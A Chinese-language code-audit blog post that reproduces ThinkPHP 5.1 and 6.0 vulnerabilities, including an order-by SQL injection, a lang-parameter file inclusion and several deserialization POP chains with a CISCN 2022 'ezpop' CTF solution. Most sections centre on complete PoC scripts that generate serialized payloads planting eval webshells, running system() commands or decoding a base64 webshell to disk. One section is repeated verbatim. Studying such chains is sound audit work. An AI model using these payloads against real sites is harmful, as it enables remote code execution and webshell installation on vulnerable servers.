代码审计之tp各版本链子调式随笔
闲暇之余,整理审计复现了tp各版本的漏洞,下面做一个知识面整理。
CVE-2018-16385
简介
在ThinkPHP5.1.23之前的版本中存在SQL注入漏洞,该漏洞是由于程序在处理order by 后的参数时,未正确过滤处理数组的key值所造成。如果该参数用户可控,且当传递的数据为数组时,会导致漏洞的产生。
范围
ThinkPHP < 5.1.23
配置
安装thinkphp5.1.22
git clone https://github.com/top-think/think.git
git checkout v5.1.22
修改composer.json的topthink/framework值为5.1.22
composer install
测试成功在config/database.php配置好数据库连接参数数据库创建一个user表,表里创建一个id字段config/app.php里的debug模式改为true
修改Index.php:
<?php
namespace app\index\controller;
class Index
{
public function index()
{
echo "index";
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
}
public function hello($name = 'ThinkPHP5')
{
return 'hello,' . $name;
}
public function sql(){
echo "hello ,this is sql test!";
$data=array();
$data['id']=array('eq','test');
$order=$_GET['order'];
$m=db('user')->where($data)->order($order)->find();
dump($m);
}
}
分析
find()函数->中间跳了很多->/thinkphp/library/think/db/Builder.php parseOrder()的函数![]
foreach函数将$order数组分为key和value形式。进入parseOrderField()函数![]
这里重点是foreach循环对$val的值做处理,但是这个val的值不用管,最后拼接sql语句是key的值,val在key后面,可以用注释符注释掉进入parseDataBind()函数![]
这里最后返回字符串,对传入的key的前面拼接了字符串::dataid,111)|updatexml(1,concat(0x3a,user()),1)#0
然后回到parseOrderField()函数
return 'field(' . $this->parseKey($query, $key, true) . ',' . implode(',', $val) . ')' . $sort;
调用Mysql的 parseKey()函数
拼接了一对反引号在key变量两头:id,111)|updatexml(1,concat(0x3a,user()),1)#最后返回:field(id,111)|updatexml(1,concat(0x3a,user()),1)#,:dataid,111)|updatexml(1,concat(0x3a,user()),1)#0)然后回到了Builer.php的parseOrder()函数
ORDER BY field(id,111)|updatexml(1,concat(0x3a,user()),1)#,:dataid,111)|updatexml(1,concat(0x3a,user()),1)#0)一直调试到后面可以看到sql语句:SELECT * FROM user WHERE id IN (:where_AND_id_in_1,:where_AND_id_in_2) ORDER BY field(id,111)|updatexml(1,concat(0x3a,user()),1)#,:dataid,111)|updatexml(1,concat(0x3a,user()),1)#0) LIMIT 1
这里由于field函数,漏洞利用有两个关键点:
- field()函数必须指定大于等于两个字段才可以正常运行,否则就会报错,当表中只有一个字段时,我们可以随意指定一个数字或字符串的参数
- 当field中的参数不是字符串或数字时,指定的参数必须是正确的表字段,否则程序就会报错。这里由于程序会在第一个字段中加 限制 ,所以必须指定正确的字段名称。第二个字段没有限制,可以指定字符串或数字
简介
ThinkPHP v6.0.8 通过组件 vendor\league\flysystem-cached-adapter\src\Storage\Adapter.php发现一个反序列化漏洞。
范围:
thinkphp<6.0.9
环境
这里装tp6.0.8
composer create-project topthink/think=6.0.x tp6.0.8
老规矩删lock文件改comoser.json重新composer install一遍
调试
很简单的链子.应该是最短的了Poc:
<?php
namespace League\Flysystem\Adapter;
class Local{}
namespace League\Flysystem\Cached\Storage;
use League\Flysystem\Adapter\Local;
abstract class AbstractCache{
protected $autosave;
protected $cache = [];
}
class Adapter extends AbstractCache{
protected $adapter;
protected $file;
function __construct(){
$this->autosave=false;
$this->adapter=new Local();
$this->file='huahua.php';
$this->cache=['huahua'=>'<?php eval($_GET[1]);?>'];
}
}
$o = new Adapter();
echo urlencode(serialize($o));
?>
入口点是abstract class AbstractCache中的__destruct方法
但是PHP的抽象方法不能被实例化,因此需要实例化它的子类,这里选择的是League\Flysystem\Cached\Storage的Adapter.php
然后进入Adapter.php的save()方法:目标是进入write()方法,里面有file_put_contents,这里参数都可以控制首先看一下getForStorage()方法,它影响了write函数写入文件的内容content它会返回一个json加密的数据,这个参数是cache,protected $cache = [];我们实例化的时候可控进入cleanContents()函数:我们只需要传入的cache是一个一维数组就不会进入if语句然后考虑这个this->adapter变量,这里找的是同时具有has()方法和write()方法的类,找到的是League\Flysystem\Adapter的Local.php
首先has方法我们需要保证返回false进入applyPathPrefix()很简单的字符串拼接,我们传入的$this->file只要是一个不存在的文件就行进入write()方法
一样的先调用applyPathPrefix()方法,拼接一下文件路径,这里做的限制是删除路径的/字符,tp默认写入文件就是public目录我们不需要设置路径最后成功写入木马
此外我们看下Y4tacker师傅的poc
<?php
namespace League\Flysystem\Cached\Storage{
use League\Flysystem\Filesystem;
abstract class AbstractCache{
protected $autosave = false;
}
class Adapter extends AbstractCache
{
protected $adapter;
protected $file;
public function __construct(){
$this->complete = "*/<?php phpinfo();?>";
$this->expire = "yydsy4";
$this->adapter = new \League\Flysystem\Adapter\Local();
$this->file = "y4tacker.php";
}
}
}
namespace League\Flysystem\Adapter{
class Local extends AbstractAdapter{
}
abstract class AbstractAdapter{
protected $pathPrefix;
public function __construct(){
$this->pathPrefix = "./";
}
}
}
namespace {
use League\Flysystem\Cached\Storage\Adapter;
$a = new Adapter();
echo urlencode((serialize($a)));
}
区别就是初始化的时候赋值的complete变量,因为$contents = $this->getForStorage();我们跟进getForStorage()方法就可以发现return json_encode([$cleaned, $this->complete, $this->expire]);我们自然可以只赋值complete变量
参考
https://zhuanlan.zhihu.com/p/652094569
CVE-2021-36564
简历
ThinkPHP v6.0.8 通过组件 vendor\league\flysystem-cached-adapter\src\Storage\Adapter.php发现一个反序列化漏洞。
范围:
thinkphp<6.0.9
环境
这里装tp6.0.8
composer create-project topthink/think=6.0.x tp6.0.8
老规矩删lock文件改comoser.json重新composer install一遍
调试
很简单的链子.应该是最短的了Poc:
<?php
namespace League\Flysystem\Adapter;
class Local{}
namespace League\Flysystem\Cached\Storage;
use League\Flysystem\Adapter\Local;
abstract class AbstractCache{
protected $autosave;
protected $cache = [];
}
class Adapter extends AbstractCache{
protected $adapter;
protected $file;
function __construct(){
$this->autosave=false;
$this->adapter=new Local();
$this->file='huahua.php';
$this->cache=['huahua'=>'<?php eval($_GET[1]);?>'];
}
}
$o = new Adapter();
echo urlencode(serialize($o));
?>
入口点是abstract class AbstractCache中的__destruct方法
但是PHP的抽象方法不能被实例化,因此需要实例化它的子类,这里选择的是League\Flysystem\Cached\Storage的Adapter.php
然后进入Adapter.php的save()方法:目标是进入write()方法,里面有file_put_contents,这里参数都可以控制首先看一下getForStorage()方法,它影响了write函数写入文件的内容content它会返回一个json加密的数据,这个参数是cache,protected $cache = [];我们实例化的时候可控进入
cleanContents()函数:我们只需要传入的cache是一个一维数组就不会进入if语句然后考虑这个this->adapter变量,这里找的是同时具有
has()`方法和write()方法的类,找到的是League\Flysystem\Adapter的Local.php
首先has方法我们需要保证返回false进入applyPathPrefix()很简单的字符串拼接,我们传入的$this->file只要是一个不存在的文件就行进入write()方法一样的先调用applyPathPrefix()方法,拼接一下文件路径,这里做的限制是删除路径的/字符,tp默认写入文件就是public目录我们不需要设置路径最后成功写入木马
此外我们看下Y4tacker师傅的poc
<?php
namespace League\Flysystem\Cached\Storage{
use League\Flysystem\Filesystem;
abstract class AbstractCache{
protected $autosave = false;
}
class Adapter extends AbstractCache
{
protected $adapter;
protected $file;
public function __construct(){
$this->complete = "*/<?php phpinfo();?>";
$this->expire = "yydsy4";
$this->adapter = new \League\Flysystem\Adapter\Local();
$this->file = "y4tacker.php";
}
}
}
namespace League\Flysystem\Adapter{
class Local extends AbstractAdapter{
}
abstract class AbstractAdapter{
protected $pathPrefix;
public function __construct(){
$this->pathPrefix = "./";
}
}
}
namespace {
use League\Flysystem\Cached\Storage\Adapter;
$a = new Adapter();
echo urlencode((serialize($a)));
}
区别就是初始化的时候赋值的complete变量,因为$contents = $this->getForStorage();我们跟进getForStorage()方法就可以发现return json_encode([$cleaned, $this->complete, $this->expire]);我们自然可以只赋值complete变量
CVE-2021-36567
描述
ThinkPHP v6.0.8 已通过组件 League\Flysystem\Cached\Storage\AbstractCache 包含反序列化漏洞。
范围
thinkphp<=6.0.8,Linux系统,因为核心是把system(json加密的数据),类似:
[["whoami
"],[]]
这样的结果返回,Windows肯定不会执行成功,Linux可以返回,虽然没有回显但是命令执行函数已经执行了.所以我们可以写木马文件
[[jmx],[]]: command not found
Poc
<?php
namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache
{
protected $autosave = false;
protected $complete = [];
protected $cache = ['`echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+|base64 -d > 2.php`'];
}
}
namespace think\filesystem{
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache
{
protected $store;
protected $key;
public function __construct($store,$key,$expire)
{
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
}
}
namespace think\cache{
abstract class Driver{
}
}
namespace think\cache\driver{
use think\cache\Driver;
class File extends Driver
{
protected $options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => false,
'path' => 'y4tacker',
'hash_type' => 'md5',
'serialize' => ['system'],
];
}
}
namespace{
$b = new think\cache\driver\File();
$a = new think\filesystem\CacheStore($b,'y4tacker','1111');
echo urlencode(serialize($a));
}
分析
这个链子也非常简单League\Flysystem\Cached\Storage\AbstractCache的__destruct
public function __destruct()
{
if (! $this->autosave) {
$this->save();
}
}
think\filesystem的CacheStore.php的save()方法:getForStorage()方法调试多了都有经验了,这里设置的cache是一维数组会直接返回cache的值:
['echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+|base64 -d > 2.php
']
最后返回json_encode函数处理后的结果
[["echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+|base64 -d > 2.php
"],[]]
然后进入$this->store->set,也就是think\cache\driver\File的set()方法:创建文件目录和文件名后进入serialize方法这里提前设置了$this->options['serialize']为system执行
system('[["echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+|base64 -d > 2.php
"],[]]')
最后虽然没有返回但是命令也被执行了,成功创建文件
我们自然可以只赋值complete变量,把cache变量设置为空数组也可以
CVE-2022-33107
适用范围
thinkphp<=6.0.12
Poc:
<?php
namespace think\model\concern{
trait Attribute{
private $data = ['huahua'];
}
}
namespace think\view\driver{
class Php{}
}
namespace think\session\driver{
class File{
}
}
namespace League\Flysystem{
class File{
protected $path;
protected $filesystem;
public function __construct($File){
$this->path='huahua.php';
$this->filesystem=$File;
}
}
}
namespace think\console{
use League\Flysystem\File;
class Output{
protected $styles=[];
private $handle;
public function __construct($File){
$this->styles[]='getDomainBind';
$this->handle=new File($File);
}
}
}
namespace think{
abstract class Model{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
protected $table;
function __construct($cmd,$File){
$this->lazySave = true;
$this->withEvent = false;
$this->table = new route\Url(new Middleware,new console\Output($File),$cmd);
}
}
class Middleware{
public $request = 2333;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{}
}
namespace think\route{
class Url
{
protected $url = 'a:';
protected $domain;
protected $app;
protected $route;
function __construct($app,$route,$cmd){
$this->domain = $cmd;
$this->app = $app;
$this->route = $route;
}
}
}
namespace{
$zoe='<?= phpinfo(); exit();//';
echo urlencode(serialize(new think\Model\Pivot($zoe,new think\session\driver\File)));
}
分析
入口点在think\Model\的destruct()方法进入save()方法进入insertData()方法进入checkAllowFields()方法进入db()方法执行$query->table($this->table . $this->suffix);语句此时开始进入链子了,拼接对象和字符串造成toString魔术方法调用,think\route的Url.phpif语句一直进不去,最后跑到
$bind = $this->route->getDomainBind($domain && is_string($domain) ? $domain : null);
然后进入getDomainBind()方法,这里设置了domain的值,直接进入了Output.php的call()方法: call_user_func_array([$this, 'block'], $args);
Output.php的block()方法->writeln()方法
$this->writeln("<{$style}>{$message}</$style>");
Output.php的writeln()方法->write()方法:
$this->write($messages, true, $type);
此时message为<getdomainbind>write()方法
$this->handle->write($messages, $newline, $type);
$this->handle被设置的League\Flysystem\File,调用它的write()方法</getdomainbind>
public function write($content)
{
return $this->filesystem->write($this->path, $content);
}
$this->filesystem被设置的think\session\driver\File,调用它的write()方法:最后执行file_put_contents写入木马文件
CVE-2022-38352
影响版本: Thinkphp <= v6.0.13
介绍:
攻击者可以通过组件League\Flysystem\Cached\Storage\Psr6Cache包含反序列化漏洞,目前的Thinkphp6.1.0以上已经将filesystem移除了 因为此处存在好多条反序列化漏洞
安装和前一篇文章一样,这里为了方便就用上一篇文章的6.0.12了
poc:
<?php
namespace League\Flysystem\Cached\Storage{
class Psr6Cache{
private $pool;
protected $autosave = false;
public function __construct($exp){
$this->pool = $exp;
}
}
}
namespace think\log{
class Channel{
protected $logger;
protected $lazy = true;
public function __construct($exp){
$this->logger = $exp;
$this->lazy = false;
}
}
}
namespace think{
class Request{
protected $url;
public function __construct(){
$this->url = '<?php system(\'calc\'); exit(); ?>';
}
}
class App{
protected $instances = [];
public function __construct(){
$this->instances = ['think\Request'=>new Request()];
}
}
}
namespace think\view\driver{
class Php{}
}
namespace think\log\driver{
class Socket{
protected $config = [];
protected $app;
public function __construct(){
$this->config = [
'debug'=>true,
'force_client_ids' => 1,
'allow_client_ids' => '',
'format_head' => [new \think\view\driver\Php,'display'],
];
$this->app = new \think\App();
}
}
}
namespace{
$c = new think\log\driver\Socket();
$b = new think\log\Channel($c);
$a = new League\Flysystem\Cached\Storage\Psr6Cache($b);
echo urlencode(base64_encode(serialize($a)));
}
分析
在Index.php添加反序列化点:
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index(){
if($_POST["a"]){
unserialize(base64_decode($_POST["a"]));
}
return "hello";
}
public function hello($name = 'ThinkPHP6')
{
return 'hello,' . $name;
}
}
在unserialize打断点,进入调试首先是Psr6Cache.php的父类的AbstractCache.php的__destruct()方法:
public function __destruct()
{
if (! $this->autosave) {
$this->save();
}
}
这个autosave可控,设置为false进入Psr6Cache.php的save()方法这里的pool变量也可控,可以调用任意一个对象的__call方法,这里我们选择的是think\log\Channel对象
然后是调用log()方法,$method就是函数名getItem(这里没啥用),然后调用record()方法![]
直接走到if语句,这里$this->lazy我们可控,直接设置为false就可以进入if语句调用save()方法走到if语句,我们可以控制logger的值,这里设置为think\log\driver\Socket()对象,然后调用think\log\driver\Socket()::save()方法
这里先执行check()函数:我们想要check函数返回true需要设置config['force_client_ids']为true,config['allow_client_ids']是空然后回到save()方法,需要设置config['debug']为true,然后if语句判断if ($this->app->exists('request'))这里我们将$this->app设置为\think\App,而这个类没有exists方法,会调用父类Container.php的exists()方法
跟进getAlias()方法:
注释告诉我们根据别名获取真实类名,这里是\think\Request,调试可以发现$this->bind就是\think\App的bind变量,里面设置了键request的值为Request::class,这里$bind被赋值了\think\Request,重新进入getAlias()函数没有进入if语句直接返回了\think\Request,而出来后的
return isset($this->instances[$abstract])
返回为true,因为我们自定义了\think\App的instances变量,在Poc里可以发现,为new Request()然后回到Socket.php的save()方法接着走,调用Request的url方法,这个Request对象也被我们重写了
调用domain方法:
最后返回http://<?php system('calc'); exit(); ?>$currentUri变量的值为http://<?php system('calc'); exit(); ?>而后判断config['format_head'],执行invoke函数这里设置的config['format_head']为数组: [new \think\view\driver\Php,'display']App.php没有invoke方法,调用父类Container.php的:
这里直接会走到invokeMethod方法,$callable是数组[new \think\view\driver\Php,'display']$vars是一维数组:http://<?php system('calc'); exit(); ?>
先把$method分开键值对,即class为\think\view\driver\Php,method为display,生成reflect反射对象
最后调用$reflect->invokeArgs()方法`,走到Php.php的display方法
完成RCE
CVE-2022-45982
范围
ThinkPHP 6.0.0~6.0.13 和 6.1.0~6.1.1
调试
入口点是abstract class Model的__destruct()方法
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}
进入save()方法之后
$this->setAttrs($data);
直接进入Attribute.php的setAttrs()方法直接返回没啥用在$result = $this->exists ? $this->updateData() : $this->insertData($sequence);这里会进入updateData()方法,我们设置了$this->exists为true这里我们需要进入$this->getChangedData()方法,因为里面涉及一些数组删除操作使我们能进入下面的if语句$data是我们可控的$this->data,我们设置为['a' => 'b']$this->readonly我们设置好为['a']经过if判断,删掉了$data的内容,此时$data为空回来Model.php正好进入if语句,调用$this->autoRelationUpdate()方法我们可控($this->relationWrite的内容,设置为一个二维数组
['r' =>
["n" => $value]
]
value是一个think\route\Url类型的对象
调用到$model = $this->getRelation($name, true);我们控制$this->relation = ['r' => $this];,$this为本Pivot对象然后可以进入if语句调用$model->exists(true)->save($val);,此时$val是被键值对分出的值,一维数组["n" => $value]
然后就调用的Model的save()方法,这个危险方法应该很敏感了此时的$data是一个\think\route\Url对象了进入setAttrs()->Attribute.setAttrs()->$this->setAttr()目标是拼接字符串,我们需要设置$this->origin = ["n" => $value];去调用Url.toString()方法->build()然后走到我们常见的
$bind = $this->route->getDomainBind($domain && is_string($domain) ? $domain : null);
$this->route被设置为think\log\Channel对象,调用它的call->log(->record()我们自定义lazy变量为false进入save()调用$this->logger->save->Store.php的save()熟悉的serialize()方法熟悉的RCE我们可控Store.php的一些变量
protected $serialize = ["call_user_func"];
$this->data = [$data, "param"];
$data是think\Request()实例
调用的call_user_func($this->data)去了Request的param()函数
进入input()函数先进入getFilter()获取$this->filter,用逗号分割开成数组,在加了一个null($default)
然后进入filterValue()方法调用call_user_func($filter, $value)
我们自定义的request
protected $mergeParam = true;
protected $param = ["whoami"];
protected $filter = "system";
最终RCE
Poc
<?php
namespace think {
abstract class Model
{
private $lazySave = true;
private $data = ['a' => 'b'];
private $exists = true;
protected $withEvent = false;
protected $readonly = ['a'];
protected $relationWrite;
private $relation;
private $origin = [];
public function __construct($value)
{
$this->relation = ['r' => $this];
$this->origin = ["n" => $value];
$this->relationWrite = ['r' =>
["n" => $value]
];
}
}
class App
{
protected $request;
}
class Request
{
protected $mergeParam = true;
protected $param = ["whoami"];
protected $filter = "system";
}
}
namespace think\model {
use think\Model;
class Pivot extends Model
{
}
}
namespace think\route {
use think\App;
class Url
{
protected $url = "";
protected $domain = "domain";
protected $route;
protected $app;
public function __construct($route)
{
$this->route = $route;
$this->app = new App();
}
}
}
namespace think\log {
class Channel
{
protected $lazy = false;
protected $logger;
protected $log = [];
public function __construct($logger)
{
$this->logger = $logger;
}
}
}
namespace think\session {
class Store
{
protected $data;
protected $serialize = ["call_user_func"];
protected $id = "";
public function __construct($data)
{
$this->data = [$data, "param"];
}
}
}
namespace {
$request = new think\Request(); // param
$store = new think\session\Store($request); // save
$channel = new think\log\Channel($store); // __call
$url = new think\route\Url($channel); // __toString
$model = new think\model\Pivot($url); // __destruct
echo urlencode(serialize($model));
}
CVE-2022-47945
影响范围:
thinkphp<=6.0.13
描述
如果 Thinkphp 程序开启了多语言功能,那就可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含这个 trick 即可实现 RCE。
复现:
thinkphp6.0.12
安装
composer create-project topthink/think=6.0.12 tp6
注意由于composer在安装时一些依赖的更新导致此时的tp6不是6.0.12而是6.1.4,因此我们需要手动修改composer.json的require的内容:
"require": {
"php": ">=7.2.5",
"topthink/framework": "6.0.12",
"topthink/think-orm": "^2.0"
},
重新执行composer install即可
调试
这里环境是Windows+phpstorm调试phpstorm打开tp6文件夹,添加一个PHP内置Web服务器的运行配置文件然后修改app/middleware.php的内容,把多语言加载的注释给删了
<?php
// 全局中间件定义文件
return [
// 全局请求缓存
// \think\middleware\CheckRequestCache::class,
// 多语言加载
\think\middleware\LoadLangPack::class,
// Session初始化
// \think\middleware\SessionInit::class
];
由于我们调试的是任意文件包含,我们在public目录写一个test.php以便调试
<?php
echo "test";
跳转\think\middleware\LoadLangPack,下断点
url: http://localhost:1221/public?lang=../../../../../public/test开启调试:首先会调用detect函数来依次遍历get,请求头和cookie是否有lang参数,也就是$this->config['detect_var']内置变量
先小写一遍赋值给$langSet变量而后由于$this->config['allow_lang_list']变量默认是空的进入if语句将$langSet赋值给$range变量,而后调用setLangSet()函数将Lang.php的private属性的$range变量赋值从默认的zh-cn改为../../../../../public/test
然后会比较当前langset变量是否等于默认的"zh-cn",不等于进入if语句,调用switchLangSet()函数然后调用load()函数,参数是个只有一个值的数组,$this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php'值为D:\phpstudy_pro\WWW\think\vendor\topthink\framework\src\lang../../../../../public/test.php这里就是我们的目标文件地址进入load()函数:参数file就是这个目标文件地址,通过一个foreach循环来调用parse()函数
这个parse函数就是最终sink点,先pathinfo取出后缀名来判断文件类型,然后包含文件最终成功包含test.php文件
代码审计题-ezpop
复现一道代码审计题,顺带学习一波
环境搭建:
composer create-project topthink/think tp6
漏洞分析:1.打开源码,第一步从全局定位destruct()或wakeup进行搜索,寻找链子,发现在 vendor\topthink\think-orm\src\Model.php 只要把 $this->lazySave设为True,就会调用了save方法。
跟进save方法,发现此处需要绕过if函数为True即可过,这里跟进isEmpty() 和 updateData()方法分析
跟进isEmpty方法,发现$this->data不为空,$this->trigger方法默认返回就不是false
继续跟进updateData()方法,发现检查允许字段checkAllowFields()方法
继续跟进checkAllowFields()方法,来到方法db,分析$table = $this->table ? $this->table . $this->suffix : $query->getTable();发现这里利用三元运算符,存在$this->table . $this->suffix字符串拼接,可以触发__toString()魔术方法
下面全局搜索toString()方法,定位到vendor\topthink\think-orm\src\model\concern\Conversion.php类中的toString**方法
来到Conversion.php类中,发现调用了toJson() 方法
继续跟进,发现来到了toArray()方法
继续跟进toArray()方法进行分析如下代码,发现如果getAttr默认就会触发,需要将$data设为数组即可
public function toArray(): array
{
$item = $visible = $hidden = [];
$hasVisible = false;
foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$visible[$relation][] = $name;
} else {
$visible[$val] = true;
$hasVisible = true;
}
}
}
foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$hidden[$relation][] = $name;
} else {
$hidden[$val] = true;
}
}
}
// 追加属性(必须定义获取器)
foreach ($this->append as $key => $name) {
$this->appendAttrToArray($item, $key, $name, $visible, $hidden);
}
// 合并关联数据
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($visible[$key]) && is_array($visible[$key])) {
$val->visible($visible[$key]);
} elseif (isset($hidden[$key]) && is_array($hidden[$key])) {
$val->hidden($hidden[$key], true);
}
// 关联模型对象
if (!isset($hidden[$key]) || true !== $hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
继续跟进,这里跟进getAttr()方法,发现漏洞方法是getValue
继续挖掘,这里跟进getData()方法进行分析,发现data变量可控,分析$fieldName变量,所以这里需要分析getRealFieldName方法
跟进getRealFieldName方法,这里$name直接返回,说明$fieldName是可控的,因为前面说过$value = $this->getData($name); 说明$value也是可控的。那么这里我们继续回到getValue()方法
重新回到getValue()方法,继续分析,发现这里需要绕过两个if函数,来到getJsonValue()方法触发漏洞点
继续分析,跟进getJsonValue方法,这里触发点需要满足 $this->jsonAssoc = True$value[$key] = $closure($value[$key], $value);
通过分析,发现$closure和$value都可控,得到最后触发点
protected function getJsonValue($name, $value)
{
if (is_null($value)) {
return $value;
}
foreach ($this->withAttr[$name] as $key => $closure) {
if ($this->jsonAssoc) {
$value[$key] = $closure($value[$key], $value);
} else {
$value->$key = $closure($value->$key, $value);
}
}
得到一条完整的POP链Model.php => save() =>isEmpty() | updateData() => checkAllowFields() => db() => $this->table . $this->suffix=> 全局搜索toString() => model\concern\Conversion.php => toJson() => toArray() => foreach() => getAttr($key) => getData()=> getValue() =>$value => getData($name) => getRealFieldName() => $fieldName/$data/$value可控 => 返回getValue()方法=> 绕过两个if判断 => $this->withAttr和$this->json可控 => getJsonValue() => $this->jsonAssoc => 触发$closure($value[$key], $value)
编写POC
<?php
namespace think{
abstract class Model{
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
function __construct($obj = ''){
$this->lazySave = True;
$this->data = ['whoami' => ['ls /']];
$this->exists = True;
$this->table = $obj;
$this->withAttr = ['whoami' => ['system']];
$this->json = ['whoami',['whoami']];
$this->jsonAssoc = True;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace {
echo (urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}
//O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22dir%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22dir%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D
来源题目 [CISCN 2022 初赛]ezpop
tp代码审计先告一段落了,后续陆续更新。比较冗长,浅当学习一波